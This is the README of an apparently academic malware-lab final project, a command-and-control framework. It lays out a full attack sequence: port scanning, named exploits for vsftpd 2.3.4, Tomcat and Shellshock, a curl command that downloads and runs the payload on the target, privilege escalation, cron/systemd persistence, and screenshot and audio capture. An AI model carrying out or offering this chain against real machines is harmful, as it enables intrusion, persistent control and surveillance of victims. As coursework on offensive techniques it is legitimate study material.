E1A Malware Lab Final Project - Command & Control Framework

Structure

project-skeleton
├── client
│   ├── app.py
│   └── cybersploit_client
│       ├── commands
│       └── util
├── payload
│   └── server.py

The client is our command and control server. We run this on our machine, and it provides a clean CLI with which to issue commands to the malware.

The server is the malware itself; it is deployed on the victim machine, and consists of a basic TCP server that accepts connections on port 2956.

Dependencies

If you want to use the client's screenshot command, you'll need to install Pillow:

pip install Pillow

Usage

Overview

0. In util/config.py, edit DEFAULT_IP and DEFAULT_PORT to be the IP of the target machine and the port that server.py will be listening on, respectively
1. Run our client (app.py) on your machine
2. From the client, use port_scan to see which ports are running vulnerable services on the target machine
3. From the client, use an exploit of a vulnerable service to gain remote code execution
   • Pre-loaded exploits are for vsftpd 2.3.4, Apache Tomcat 8.5.21, and GNU Bash versions 1.14 through 4.3
4. Using remote code execution, run our server on the target machine
   • curl -O https://raw.githubusercontent.com/.../server.py
   • python3 server.py
5. Open a new terminal on the client and run a privesc from app.py to gain root on the target
6. Run persistence commands
7. Run C&C commands

Specifics

Note: $ denotes shell commands, while this font denotes commands entered into the client's native CLI.

STEPS 1 and 2: Setup
$ cd ~/c2-framework/client
$ python3 app.py

Then inside the client CLI, run
port_scan -i "competition-target" -sp 8000 -ep 8500

Note: usage is port_scan -i <ip> -sp <starting_port> -ep <ending_port>. All arguments are optional; defaults are ip = DEFAULT_IP, sp = 0, ep = 500.

STEP 3: Gain RCE
ftp or shellshock or tomcat

STEP 4: Using RCE, download and run payload
$ curl -O https://raw.githubusercontent.com/.../server.py
$ python3 server.py

STEP 5: Command the payload to perform privilege escalation
In a new terminal on your own machine, run:
$ python3 app.py

Then run
suid_privesc or etc_privesc

STEP 6: Establish persistence
systemd or cron

STEP 7: Post-exploitation actions
play_audio or screenshot